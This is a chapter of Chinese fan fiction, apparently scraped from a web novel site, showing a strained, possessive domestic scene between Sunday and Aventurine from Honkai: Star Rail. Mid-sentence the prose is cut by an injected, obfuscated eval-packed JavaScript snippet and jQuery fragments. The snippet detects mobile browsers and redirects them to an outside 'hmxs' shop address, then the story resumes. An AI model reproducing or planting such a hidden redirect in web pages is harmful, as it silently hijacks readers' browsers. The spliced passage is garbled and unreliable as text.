39.泪与水的界限

作品:《[崩铁]渴望

    “臭流氓!我跟你叽里咕噜说这么一大堆,不理人!张嘴就知道做这事?!”砂金气势汹汹地质问,就好像是抓住了对方天大的把柄似的。


    星期日冷漠地说:“以后不准在别人面前穿成这样。”


    “为什么?”砂金满脸震惊,这个讨厌的家伙开口第一句果然不同凡响。


    “没有为什么。”星期日捏了下砂金的脸颊。


    “你这不准我穿,那不准我穿,你要我穿什么?我干脆什么都不穿了,天天裸着躺床上等你回来,好不?!”砂金气得龇牙咧嘴。


    “可以。”星期日欣然接受了。


    “你对我很差劲!一点也不好!你是个坏老公!”砂金说着握拳捶了他几下。


    “你也一样。”星期日把砂金搂到腿上坐着,将对方肩头滑下的浴巾扯了上去,裹紧身子抱住。


    “你难道是一个好老婆吗?”星期日的鼻尖抵着砂金的鼻尖,清澈金莹的瞳孔就这样放大又深邃地望进砂金的眸中。


    砂金瘪下嘴角,紧闭嘴唇,口腔内含着半口气,将两颊塞得微微鼓起。


    对方眨了眨眼睛,卷翘的睫毛不停扫拂星期日的睫毛,弄得他心痒,于是出声说道:“不准闭眼,你睫毛刮得我眼皮痒。”


    “你松开我,就不痒了。”


    “不。”


    “你是什么魔鬼教官吗?严苛到眼睛都不准我闭?你对我越来越过分了!”


    “你把家里书房翻得底朝天时,我看你可是眼睛都没眨一下,恨不得把柜子的每一层隔板都拆下来确认一遍。”


    这下轮到砂金不说话了,红着眼眶静静望着星期日。


    星期日耷拉眼皮,躲过他装可怜的诡计,他亲吻他的嘴唇,用湿热的舌丈量这张嘴的尺寸是多少。


    他买来一枚钻戒锁住了他的手,让他不能离开他。


    可现在,他又该买来何物才能软化这冷硬的嗓子,让他的妻子能够真心实意的......


    他又一次想到那个字,他又一次想对他说,但他没能说出来。


    “脚冷了,去洗澡。”星期日将砂金抱起来往洗浴室走去。


    砂金瓮声瓮气地嘀咕:“我要浴缸泡着洗,不要站着。”


    “不行,你下午泡,晚上泡,叫你一声人鱼公主,还真准备游回海去了?”星期日冷声拒绝。


    砂金被放在地上站着,默默挪到墙边紧贴,瞧着星期日弯腰将鞋袜脱下,卷起裤脚,解开西服纽扣,将外衣放在台面,走到花洒斜下方,调试着控制水温跟室温的显示屏。


    星期日余光瞥见隔着老远站立的砂金,在热水喷洒而下的这一瞬,缓声道:“泡久了对身体不好,本来你.......”


    “孩子孩子!你就知道这个......”


    星期日突然很大声地吼了过去,音浪比这喷涌而出的水雾还足:“我根本没提过这个孩子,是你一直在自言自语!”


    砂金一下就没声了,偏头盯着别处看,把下嘴唇咬进嘴里。


    星期日愣了几秒,也撇开了视线,走出淋浴间,深深吸了口气,对他说:“过来洗澡。”


    砂金没动。


    星期日凝视他:“三声,你不过来,就是我过去给你洗。”


    .......


    “一。”


    .......


    “二。”


    砂金抬起脚默默走进去,站在淅沥的柔细水流下,如烟似雾,半透明的浅白浮云将他围绕。


    “我给你脱?”星期日走到水淋不到的地方,靠着墙双手环抱胸前,以审视的目光打量着自己的妻子。


    过了会儿,砂金慢吞吞地将黏在身上的衣裤褪下,那些极为轻飘的绸布像是砂金的第二层皮,清透明亮的颜色被剥掉,露出一具苍白纤细的身躯。


    他的骨骼与血肉都太冷了,每一处骨节的拼接都靠着仇恨固定,他擅长谈情说爱,他常将笑容画在脸上,可他的五脏六腑找不出一点温暖的痕迹。


    令人不禁怀疑,这样矛盾又孤独的人能走到多远呢?


    可关于砂金的一切,星期日向来一无所知。


    他站在他身后,看着他的背脊、腰窝、脚踝,多么的柔软又美丽,但细密的水珠倾泻而下,噼里啪啦,砂金低着头站在水流之中,是一块晶莹剔透的冰。


    星期日垂下眼睑,扣弄着指甲,他已经很多年没有再犯这个坏习惯。


    他定定站立在这间闷热的小屋里,滴沥的水声,排风扇运转的嗡嗡声,暖光灯偶尔发出的几声嗞音,吵杂至极。


    星期日觉得难以呼吸,如鲠在喉。


    他又轻轻将眼抬起,试图让视线比水帘雾幔还温柔,比那落在砂金头顶、肩上、手臂、腿脚的水珠还轻盈。


    他看见砂金的手不停地在往脸上凑,他一直背对着他,他一直看不到他的神情,他甚至找不出一个合适的词语来描述砂金在做什么。


    他不知道,而他最讨厌不知道。


    就在星期日准备开口之际,砂金关掉了花洒,声音有些喑哑:“泡沫弄到眼睛里了,好疼。”


    星期日的心微微一动,他不再扣弄着自己快要撕扯出血的指缝,松开了手指,向砂金走去。


    他抬起砂金的下巴,用温润的手掌拂去还在从对方额头上不停流下的泡沫,指尖顺着砂金的下巴往上扬,低声道:“仰头。”


    “痛。”砂金的唇齿发出小动物咽呜的哀鸣,紧紧闭住左眼,可以瞧见眼角那一点湿红。


    星期日拍开了砂金想去揉的手,边调节花洒的清洗模式,边对他说:“别碰,我给你洗干净。”


    砂金抿住了嘴,用急促的几声跺脚发泄自己不满的情绪。


    “你......”星期日猛地转头,眼露凶光瞪着他,下一秒却忽地哽动喉结,压沉声线,“别乱动,脚滑摔倒了,有得你住院。”


    星期日切换到手持喷头的模式后,将另一个副式花洒取下,调到最小的水流,把手里的泡沫冲掉,又细致的给砂金一点点攒净眼里的泡沫。


    “啧,你眼皮再闭紧点,可以把我手指给夹断,放松。”星期日拍了拍砂金的后腰。


    “拜托!我现在疼得要死!我怎么放松?!我的眼睛要烂掉了!!”砂金煞有介事地喧囔着。


    星期日眉头皱得更深了,这狡猾的狐狸,一天一个说法,一会一副脸色,他总辨不清对方言行的真伪。


    譬如现在,砂金貌似真的很疼,疼的又开始胡言乱语起来,那些糟糕的话语让他的情绪又不受控制的受到影响。


    烦躁、焦虑、他跟砂金在一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872373|187023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起总是心绪不宁,他总是会莫名其妙地陷入一种诡异的愤怒漩涡里。


    他的妻子把他变得如同一个披着人皮的怪物。


    “早干净了,别故意装可怜,把眼睛睁开。”星期日的指尖刮过砂金湿润的眼角,旖旎氤氲,像勾勒水墨画的最后一笔。


    砂金缓缓睁开了眼,眼角流下一滴热泪,落在了星期日的指甲上。


    他的食指承载着这滴泪的重量,微微荡漾,那指甲盖大小的水珠便如朦雾消散,融进他的肌肤。


    砂金安静地看了星期日好一会,转动眼珠,望向别处,细声细气道:“好了。”


    好了?然后呢?又到了把自己推开的时候?星期日注视着砂金嫣红的嘴唇,这闷热的房间使他口干舌燥。


    “还站这干嘛?你要跟我一起洗吗?”砂金瞟了又瞟,灵动得好似一只猫。


    星期日不为所动,仍旧沉默地紧盯砂金那张说话的嘴。


    “冷。”砂金瞪着两只不一样的眼睛巴巴望着他,一只眼白清亮,而另一只却泛起血丝,看上去一副惹人爱的可怜样。


    星期日偏了下头,终于挪动目光上下打量着这具粉雕玉琢的躯壳。


    砂金见星期日始终不搭理自己,皱着眉头,耸动鼻尖,悄悄观察了半天,抬起手搭在开关上,没什么气势地威胁道:“让我洗完呀!一声不吭的,究竟要干嘛!”


    星期日倏忽之间便转身离去,砂金在他身后默默竖了个中指,刚准备打开热水,就听见他清清冷冷的嗓音响起:“别动,等我来。”


    “等你来干嘛?给我收尸呀?!”砂金往外呼了一大口热气,装作打寒颤的模样,他其实不冷,只是不想再浪费时间跟对方僵持。


    砂金瞧见星期日拎着个矮凳走了回来,心想不好,这家伙该不会又要给自己洗澡吧。


    星期日把凳子放在砂金腿边,眼神示意他坐下。


    砂金有些真情实感地幽怨瞥了对方一眼,嘟囔:“我会洗澡。”


    “我不想再浪费时间给你擦第二次眼睛。”星期日的理由让砂金哑然。


    砂金倔强的坚持了几秒,在星期日冷厉的视线中败下阵来,再次妥协地坐在凳子上,如同待宰的羔羊,无助地等着星期日的冲洗。


    他的身躯任凭星期日摆弄,嘴上却立志要成为这个世上最挑剔的客人。


    他一会说水温高了一会又说水温低了,这里说把他头发拽疼了,那里又说水灌进了他耳里,责怪对方的粗心大意,懊恼对方的冷眼相待。


    在砂金如坐针毡了六、七分钟后,星期日结束了清洗,他低头看着砂金浮红的脸颊,说道:“你的羞耻心总在一些奇怪的地方。”


    “什么意思?转弯抹角骂我呢?!”砂金恨恨瞥了他一眼,只是那粉霞的艳绯衬得砂金眼波浮荡。


    “洗澡有什么好害羞的?”星期日眯了眯眼,似笑非笑拉长音调,“还是说,夫人想到了一些别的事?”


    我能想什么别的事情?我想你去死呀!砂金在心里痛骂。


    星期日将干净的白色浴巾紧紧裹在对方身上,即便头顶的暖光灯将砂金的皮肤烘烤温热,他也仍警惕霜寒。


    他牵着他湿润的手,小巧又轻柔,星期日又控制不住的胡思乱想到他们的孩子也会如砂金这般柔软吗?